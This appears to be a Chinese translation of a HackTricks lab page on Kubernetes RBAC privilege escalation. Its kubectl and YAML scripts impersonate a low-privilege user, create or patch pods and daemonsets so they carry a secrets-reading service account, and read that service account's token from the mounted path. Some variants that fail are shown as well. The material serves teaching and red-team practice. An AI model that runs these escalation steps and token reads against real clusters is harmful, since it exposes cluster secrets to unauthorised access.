Last updated
学习与实践 AWS 黑客技术：HackTricks 培训 AWS 红队专家 (ARTE) 学习与实践 GCP 黑客技术：HackTricks 培训 GCP 红队专家 (GRTE)
查看 订阅计划!
加入 💬 Discord 群组 或 Telegram 群组 或 关注 我们的 Twitter 🐦 @hacktricks_live.
通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
您可以在 minikube 中运行这些实验室。
我们将创建：
一个具有 读取秘密 集群权限的 服务账户 "test-sa"
将创建一个 ClusterRole "test-cr" 和一个 ClusterRoleBinding "test-crb"
将给予名为 "Test" 的用户列出和 创建 pods 的 权限
将创建一个 Role "test-r" 和 RoleBinding "test-rb"
然后我们将 确认 SA 可以列出秘密，并且用户 Test 可以列出 pods
最后我们将 模拟用户 Test 来 创建一个 pod，该 pod 包含 SA test-sa 并 窃取 服务账户 token.
这表明用户可以通过这种方式提升权限
为了创建场景，使用了管理员账户。 此外，在此示例中，使用管理员账户 在创建的 pod 内执行以 提取 sa token。然而，如这里所述，pod 的声明可以包含 token 的提取，因此 "exec" 权限并不是提取 token 的必要条件，"create" 权限就足够了。
# Create Service Account test-sa
# Create role and rolebinding to give list and create permissions over pods in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: ServiceAccount
name: test-sa
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -
# Check test-sa can access kube-system secrets
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets
# Check user User can get pods in namespace default
kubectl --as Test -n default get pods
# Create a pod as user Test with the SA test-sa (privesc step)
echo "apiVersion: v1
kind: Pod
metadata:
name: test-pod
namespace: default
spec:
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true"| kubectl --as Test apply -f -
# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
# Clean the scenario
kubectl delete pod test-pod
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa# Create Service Account test-sa
# Create role and rolebinding to give list & create permissions over daemonsets in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["apps"]
resources: ["daemonsets"]
verbs: ["get", "list", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -
# Check test-sa can access kube-system secrets
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets
# Check user User can get pods in namespace default
kubectl --as Test -n default get daemonsets
# Create a daemonset as user Test with the SA test-sa (privesc step)
echo "apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -
# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
# Clean the scenario
kubectl delete daemonset alpine
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa在这种情况下，我们将修补一个守护进程集以使其 Pod 加载我们所需的服务帐户。
如果您的用户具有更新而不是修补的动词，这将不起作用。
# Create Service Account test-sa
# Create role and rolebinding to give list & update patch permissions over daemonsets in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["apps"]
resources: ["daemonsets"]
verbs: ["get", "list", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
---
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
automountServiceAccountToken: false
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100']' | kubectl apply -f -
# Check user User can get pods in namespace default
kubectl --as Test -n default get daemonsets
# Create a daemonset as user Test with the SA test-sa (privesc step)
echo "apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -
# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
# Clean the scenario
kubectl delete daemonset alpine
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa不起作用：
仅使用动词 create 创建一个新的 RoleBinding
仅使用动词 patch 创建一个新的 RoleBinding（你需要拥有绑定权限）
你不能这样做来将角色分配给自己或其他 SA
仅使用动词 patch 修改一个新的 RoleBinding（你需要拥有绑定权限）
你不能这样做来将角色分配给自己或其他 SA
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["rolebindings"]
verbs: ["get", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r2
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb2
subjects:
- kind: ServiceAccount
name: test-sa
apiGroup: ""
roleRef:
kind: Role
name: test-r2
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -
# Create a pod as user Test with the SA test-sa (privesc step)
echo "apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-r2
subjects:
- kind: ServiceAccount
name: test-sa2
apiGroup: ""
roleRef:
kind: Role
name: test-r2
apiGroup: rbac.authorization.k8s.io"| kubectl --as Test apply -f -
# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
# Clean the scenario
kubectl delete rolebinding test-rb
kubectl delete rolebinding test-rb2
kubectl delete role test-r
kubectl delete role test-r2
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2在https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/的“权限提升预防和引导”部分提到，如果一个SA可以创建绑定并且对角色/集群角色具有显式绑定权限，它可以创建绑定，即使使用的角色/集群角色的权限它并不具备。 然而，这对我来说并没有奏效：
# Create 2 SAs, give one of them permissions to create clusterrolebindings
# and bind permissions over the ClusterRole "admin"
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterrolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io/v1"]
resources: ["clusterroles"]
verbs: ["bind"]
resourceNames: ["admin"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
name: test-sa
namespace: default
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -
# Try to bind the ClusterRole "admin" with the second SA (won't work)
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb2
subjects:
- kind: ServiceAccount
name: test-sa2
namespace: default
roleRef:
kind: ClusterRole
name: admin
apiGroup: rbac.authorization.k8s.io
' | kubectl --as system:serviceaccount:default:test-sa apply -f -
# Clean environment
kubectl delete clusterrolebindings test-crb
kubectl delete clusterrolebindings test-crb2
kubectl delete clusterrole test-cr
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa# Like the previous example, but in this case we try to use RoleBindings
# instead of CLusterRoleBindings
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterrolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["rolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io/v1"]
resources: ["clusterroles"]
verbs: ["bind"]
resourceNames: ["admin","edit","view"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
namespace: default
subjects:
- kind: ServiceAccount
name: test-sa
namespace: default
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -
# Won't work
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb2
namespace: default
subjects:
- kind: ServiceAccount
name: test-sa2
namespace: default
roleRef:
kind: ClusterRole
name: admin
apiGroup: rbac.authorization.k8s.io
' | kubectl --as system:serviceaccount:default:test-sa apply -f -
# Clean environment
kubectl delete rolebindings test-rb
kubectl delete rolebindings test-rb2
kubectl delete clusterrole test-cr
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2在这个例子中，我们尝试创建一个具有创建和路径权限的角色，针对角色资源。然而，K8s 阻止我们创建一个权限超过创建者所拥有的权限的角色：
# Create a SA and give the permissions "create" and "patch" over "roles"
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["roles"]
verbs: ["patch", "create", "get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: ServiceAccount
name: test-sa
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -
# Try to create a role over all the resources with "create" and "patch"
# This won't wotrk
echo 'kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r2
rules:
- apiGroups: [""]
resources: ["*"]
verbs: ["patch", "create"]' | kubectl --as system:serviceaccount:default:test-sa apply -f-
# Clean the environment
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete role test-r2
kubectl delete serviceaccount test-sa查看 订阅计划!
加入 💬 Discord 群组 或 Telegram 群组 或 关注 我们的 Twitter 🐦 @hacktricks_live.
通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
学习与实践 AWS 黑客技术：HackTricks 培训 AWS 红队专家 (ARTE) 学习与实践 GCP 黑客技术：HackTricks 培训 GCP 红队专家 (GRTE)
